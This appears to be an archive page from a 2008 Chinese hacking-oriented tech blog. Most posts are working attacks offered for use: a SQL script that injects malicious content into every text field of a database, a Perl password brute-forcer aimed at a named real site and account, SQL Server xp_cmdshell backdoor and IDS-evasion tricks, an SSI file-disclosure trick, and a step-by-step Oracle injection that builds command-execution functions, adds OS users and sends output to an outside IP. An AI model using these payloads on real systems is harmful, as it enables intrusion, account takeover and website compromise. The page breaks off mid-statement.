存档

‘技术文章’ 分类的存档

bat 延时执行命令的三种方法

2008年10月24日 没有评论 202 views

第一种方法:
  ping 127.0.0.1 -n 5000>nul
  dir c:\ >c:\1.txt
  延时5分钟后执行dir c:\
  第二种方法
  :: Sleep.bat - Sleep/Delay/Wait n seconds
  :: Herbert Kleebauer(Germany) - 2005/05/29
  :: Modified by Will Sort - 2005/06/02
  @echo off
  echo q | debug>nul
  echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=>sleep.com
  echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU WwX0GwUY Wv;ovBX2Gv0ExGIuht6>>sleep.com
  echo T}{z~~@GwkBG@OEKcUt`~}@MqqBsy?seHB~_Phxr?@zAB`LrPEyoDt@Cj?>>sleep.com
  echo pky_jN@QEKpEt@ij?jySjN@REKpEt@jj?jyGjN@SEKkjtlGuNw?p@pjirz>>sleep.com
  echo LFvAURQ?OYLTQ@@?~QCoOL~RDU@?aU?@{QOq?@}IKuNWpe~FpeQFwH?Vkk>>sleep.com
  echo _GSqoCvH{OjeOSeIQRmA@KnEFB?p??mcjNne~B?M??QhetLBgBPHexh@e=>>sleep.com
  echo EsOgwTLbLK?sFU`?LDOD@@K@xO?SUudA?_FKJ@N?KD@?UA??O}HCQOQ??R>>sleep.com
  echo _OQOL?CLA?CEU?_FU?UAQ?UBD?LOC?ORO?UOL?UOD?OOI?UgL?LOR@YUO?>>sleep.com
  echo dsmSQswDOR[BQAQ?LUA?_L_oUNUScLOOuLOODUO?UOE@OwH?UOQ?DJTSDM>>sleep.com
  echo QTqrK@kcmSULkPcLOOuLOOFUO?hwDTqOsTdbnTQrrDsdFTlnBTm`lThKcT>>sleep.com
  echo @dmTkRQSoddTT~?K?OCOQp?o??Gds?wOw?PGAtaCHQvNntQv_w?A?it\EH>>sleep.com
  echo {zpQpKGk?Jbs?FqokOH{T?jPvP@IQBDFAN?OHROL?Kj??pd~aN?OHROd?G>>sleep.com
  echo Q??PGT~B??OC~?ipO?T?~U?p~cUo0x>>sleep.com
  sleep.com>sleep.exe
  del sleep.com
  echo wait 2 seconds:
  sleep.exe 2000
  第三种方法
  dir c:\ & timeout /t 10 & dir d:\
  延时10秒

分类: 技术文章 标签: ,

数据库挂马

2008年10月23日 没有评论 50 views

以前说过的趋势挂马事件,MS这个挂马方法已经流行了很久,从去年就大规模开始了,在网上可以搜到很多痕迹。

SQL语句如下:

用游标遍历所有表里如下数据类型的字段,然后UPDATE挂马。(全部是允许写入字符的字段)

 

xtype=99 ntext

xtype=35 text

xtype=231 nvarchar

xtype=167 varchar

———————YD的分割——————————–

DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec(’update [’+@T+’] set [’+@C+’]=
rtrim(convert(varchar,[’+@C+’]))+
挂马内容”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

———————YD的分割——————————–

分类: 技术文章 标签:

Perl穷举破解表单密码的实现

2008年10月23日 没有评论 193 views

Perl是一个异常强大的网络处理工具,而且它的库是相当的多与全面。老同学的网站密码丢了,让我找找看,我就琢磨琢磨学习了一下Perl。
  如果是普通的表单,只需要用Perl自带的LWP库就可以了,但是有些网站会首先检测你的浏览器是否支持Cookies,是否是“真实的”浏览器而不是机器人代理,更有甚者首先检测你的浏览器是否支持脚本,如果不支持脚本是根本不让你浏览任何信息的。这个时候LWP就没有什么用了。
  于是乎我想到了COM,调用Internet Explorer的接口。先用C++实现了一个,速度虽然是快,可是如何获取Document进行网站的反馈判定却成了难题,其中牵涉到一个等待同步的问题,总是出错,一气之下就废了它。去CPAN下载了一个叫做Win32::IEAutomation的库,省得手动初始化COM对象,还要查CSLID等等。guesser脚本很是简单,如下。

use Win32::IEAutomation;

my $low = @ARGV[0];
my $up = @ARGV[1];

if ( $low > $up ){
 print "UP LOW ERROR!";
 exit 1;
};

my $ie = Win32::IEAutomation->new( visible => 0 );
$ie->gotoURL('http://xiaonei.com/Login.do');
my $user = "papyna\@126.com";
my $time = time;

while( $low <= $up ){
 my $pwdstr = "";
 $pwdstr = sprintf "\%.6u",$low;
 $ie->getTextBox('id:',"email")->SetValue($user);
 $ie->getTextBox('id:',"password")->SetValue($pwdstr);
 $ie->getButton('id:',"login")->Click;
 $ie->WaitforDone;
 if( $ie->VerifyText('密码错误') ){
 }else{
 $time = time - $time;
 print "Password Is : ",$pwdstr,"\n";
 print $time," Seconds Passed";
 exit 0;
 };
 $low++;
}
print "Not In this range From ",$low," To ",$up,"\n";
exit 0;

原理很简单,输入一个数字范围,然后一直调用网站的登陆脚本,直到正确的登陆。其实这也牵涉到一个字典的问题,这个就是穷举破解的最大麻烦。不过思想是可以值得借鉴的。速度瓶颈在网络上,机器代码执行得飞快,等待页面反馈太慢。为了,加速,我想到了多线程。通过这个脚本,同时执行多个上述脚本的实例。代码也很简单。

use Win32::Process;
use Win32;

sub ErrorReport{
 print Win32::FormatMessage( Win32::GetLastError() );
}

Win32::Process::Create($ProcessObj1,
 "C:\\Perl\\bin\\perl.exe",
 "perl guesser.pl 870100 870133",
 0,
 NORMAL_PRIORITY_CLASS,
 ".")|| die ErrorReport();

Win32::Process::Create($ProcessObj2,
 "C:\\Perl\\bin\\perl.exe",
 "perl guesser.pl 861095 861231",
 0,
 NORMAL_PRIORITY_CLASS,
 ".")|| die ErrorReport();

$ProcessObj1->Wait(INFINITE);
$ProcessObj2->Wait(INFINITE);

然后就是漫长的等待了,甚至可以听到浏览器的声音,速度缓慢的真是痛苦。不过,破解招商银行网上银行大众版 —— HTTPS连接与加密插件,IE都是内置,只要先安装好,就可以传入URL进行穷举了。不过有个问题就是,验证码。对于这个我还没有实现,不过思路很简单,手动写一个读写图像文件,判断数字的函数,图片可以从IE缓存获得。破解移动联通手机号码密码也可以顺着这个思路来。

 

分类: 技术文章 标签: ,

被小菜们忽略的SQL注入技巧

2008年10月22日 没有评论 133 views

下面我要谈到一些sqlserver新的bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别,当然很有可能有些高手早已知道了,毕竟我接触sqlserver的时间不到1年:P

  1.关于openrowset和opendatasource

  可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

  可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

  那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l ''dir c:\''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。

  那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')

  这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧:P

  2.关于msdasql两次请求的问题

  不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')

  当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P

  3.可怕的后门

  以前在网上看到有人说在 sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

  这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过!

  另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破 sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法,

  如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:

  4.利用t-sql骗过ids或攻击ids

  现在的ids已经变得越来越聪明了。 有的ids加入了xp_cmdshell sp_addlogin 的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。

  先说说欺骗ids:

  ids既然监视xp_cmdshell关键字,那么我们可以这么做
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'

  这个代码相信大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做

  假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'

  当然也可以
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\'

  这种做法排列组合,ids根本不可能做的到完全监视。

  同理,sp_addlogin也可以这么做。

  再说说攻击ids:

  因为ids数据量很大,日至通常备份到常规数据库,比如sql server。

  如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做

  通常程序会这么写 insert table values ('日至内容',...)

  那么我们想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后会变成
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:\' -- ')

  这样,xp_cmdshell就可以在ids的数据库运行了 :)

  当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成 。因此, 会被提交到sql server,这样你的命令就无法执行了。 唯一的办法就是
insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

  用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录,呵呵。

  其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 。本来asp是select语句,那么用'就可以屏蔽。现在ids用insert语句,那么用')屏蔽。

  好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了

分类: 技术文章 标签:

Opera浏览器免费点亮WAPQQ图标和手机腾讯网图标

2008年10月22日 22 条评论 1,482 views

现在介绍的技术,是用软件Opera+代理来登陆手机腾讯网。OPERA大家都不陌生,它可以登陆一些WAP网站,比如百度等等。但是如果要登陆手机腾讯网,就需要代理了,因为手机腾讯网限制了非手机IP的登陆。

具体步骤:
1.下载OPERA多国语言版版,安装。下载地址

点击下载:迅雷下载

如果大家不放心,可以自己去搜索下载,这个链接是霏凡软件站提供的。

2.安装OPERA后,进行设置。

点击工具---首选项-----高级------网络,之后会出“现代理服务器”和“服务器名称补全”。

点击 代理服务器,在HTTP前打勾,填写IP:211.95.176.6 端口填写:808 ,之后在为 代理启用HTTP1.1 前打勾,点确定。
应广大朋友要求,本人再增加几个代理IP,如果发现上述IP不能使用,可以更换以下IP:

IP:218.201.40.117 端口:808 代理类型:HTTP
IP:211.140.192.186 端口:8080 代理类型:HTTP
IP:218.204.126.130 端口:80 代理类型:HTTP

之后退回服务器名称补全,在 前缀 栏填写为 www,wap .点确定。

设置完成。

点亮手机腾讯网图标:
最后在OPERA浏览器地址栏中输入:

http://q11.3g.qq.com/g/s?sid=oMQjojRIoy+XmdFJoYat3g==s&

就可以进入手机腾讯网了!

注意:在地址栏中输入 3G.QQ.COM或WAP.QQ.COM是不行的,需要输入上述地址!

我把步骤发出来(其实很简单)只要把下面2步弄好就 OK了,看图:
title
title
点亮WAPQQ图标:

在地址填写:

http://idc7.wap.sjkx.com/unicom/bjGqqzone.jsp

在地址填写选择"QQ聊天"登陆进去就点亮了

很多朋友反映说不成功,经过本人2008年11月14日再次测试,成功点亮,效果如下图:

title

很多朋友说不成功,看这个2008年11月18日14点43分的最新截图:
title
如果这个方法真的失效了,它的存在也就无意义了,我会删掉...

分类: 技术文章 标签: ,

清除远程桌面连接IP域名信息

2008年10月20日 没有评论 44 views

常用远程桌面连接的朋友都会发现,远程桌面连接每次都会记录成功连接的远程IP或者域名,并将这些信息显示在连接地址输入框的下拉菜单里。这样一来当然为远程桌面连接的使用提供了方便,但是在无形之中也增加了安全隐患。

下面教你怎么删除这些记录。
首先运行regedit,打开注册表,找到
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
右边的那些键值就记录了IP或者域名。
另外最后一次连接的IP或者域名还是会显示在远程桌面连接的连接目标输入框上面,这个信息储存在“我的文档”下的“Default.rdp”文件中,删之即可。
另外,可以把
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
这个键值的权限设置为不可改写。
同样Default.rdp也是,这样一来远程桌面连接就不会记录你的登陆信息了。

 

分类: 技术文章 标签:

解决微软黑屏的办法

2008年10月19日 2 条评论 39 views

来源:Chinadu`s Blog

开始-运行-输入REGEDIT回车

在左边栏中找到:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\WgaLogon

整个删除,OK!

分类: 技术文章 标签:

当网站不允许上传asp cer cdx htr文件时的一个解决方法

2008年10月18日 没有评论 65 views

一段代码:
<!--#ECHO var="ALL_HTTP"--><br>

当前文件名称:<!--#ECHO var="DOCUMENT_NAME"--><br><br>
Web服务器的名称和版本:<!--#ECHO  
var="SERVER_SOFTWARE"--><br>
主机名:<!--#ECHO var="SERVER_NAME"--><br>
端口:<!--#ECHO var="SERVER_PORT"--><br>
客户或客户代理IP地址:<!--#ECHO var="REMOTE_ADDR"--><br>
客户或客户代理主机名:<!--#ECHO var="REMOTE_HOST"--><br>
PATH_INFO  
的值,但带有扩展为某个目录规范的虚拟路径:<!--#ECHO  
var="PATH_TRANSLATED"--><br>
客户端给出附加路径信息:<!--#ECHO var="PATH_INFO"--><br>
<!--#ECHO var="HTTP_ACCEPT"--><br>
<!--#ECHO var="DOCUMENT_URI"--><br>

说保存为stm或者shtml看看,运行如下:
HTTP_ACCEPT:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* HTTP_ACCEPT_LANGUAGE:zh-cn HTTP_CONNECTION:Keep-Alive HTTP_HOST:localhost HTTP_USER_AGENT:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322) HTTP_COOKIE:nbblastactivity=1100263629; bblastvisit=1100264583; bblastactivity=1100265530; bbuserid=1; bbpassword=0f8514d1ed2eaa91fb9a87a568f6c96f; ASPSESSIONIDAQTSDRQQ=JOGDCEBDCNKFMLGDNFHPDHMJ HTTP_ACCEPT_ENCODING:gzip, deflate  
当前文件名称:F:\Web\1.stm
Web服务器的名称和版本:Microsoft-IIS/5.0
主机名:localhost
端口:80
客户或客户代理IP地址:127.0.0.1
客户或客户代理主机名:127.0.0.1
PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:F:\Web\1.stm
客户端给出附加路径信息:/1.stm
image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
一直不解!
今天在幻影旅团看到了一段话

当网站不允许上传
asp cer cdx htr等文件时, 上传一个stm文件, 内容为:
<!--#include file="conn.asp"-->
直接请求这个stm文件, conn.asp就一览无遗, 数据库路径也就到手啦!
并且又看了那篇shtml的介绍后,恍然大悟,终于明白了!
原来就是如上所说的,
<!--#include file="conn.asp"-->
  就是一条SSI指令,其作用是将"info.htm"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示info.htm其中的内容。
我在本地试验成功!在我的iis目录下建了一个test.stm文件,内容为:
<!--#include file="ok.asp"-->
又在同一目录下放了一个我的一个木马文件ok.asp
在浏览器中请求test.stm,没有什么反映,一片空白。
但是一查看源代码,狂晕,原来就是我的asp文件的内容!
这样我们就可以利用这个来获取要入侵的web的conn文件来获得数据库路径,
但是一个前提是服务器的对stm或者shtml的扩展没有删除!
 

分类: 技术文章 标签:

犀利的 oracle 注入技术

2008年10月18日 没有评论 63 views

原文发表在黑客手册
犀利的 oracle 注入技术

linx 2008.1.12

介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。

以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)

的形式即可。(用" 'a'|| "是为了让语句返回true值)

语句有点长,可能要用post提交。

以下是各个步骤:

1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:

/xxx.jsp?id=1 and '1'<>'a'||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual

)

************

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(filename.startsWith("http")?new InputStreamReader(new URL(filename).openStream()):new FileReader(filename));
String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
***************

------------------------
如果url有长度限制,可以把readFile()函数块去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual

)

同时把后面步骤 提到的 对readFile()的处理语句去掉。
------------------------------

2.赋Java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.赋public执行函数的权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.测试上面的几步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)

and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)

6.执行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :

/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)

注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。

--------------------

6.内部变化
通过以下命令可以查看all_objects表达改变:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'

7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual

====================================================
全文结束。谨以此文赠与我的朋友。

linx
124829445
2008.1.12
linyujian@bjfu.edu.cn

======================================================================

测试漏洞的另一方法:

创建oracle帐号:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('F
OO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

确定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)

给linxsql连接权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

删除帐号:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================

以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
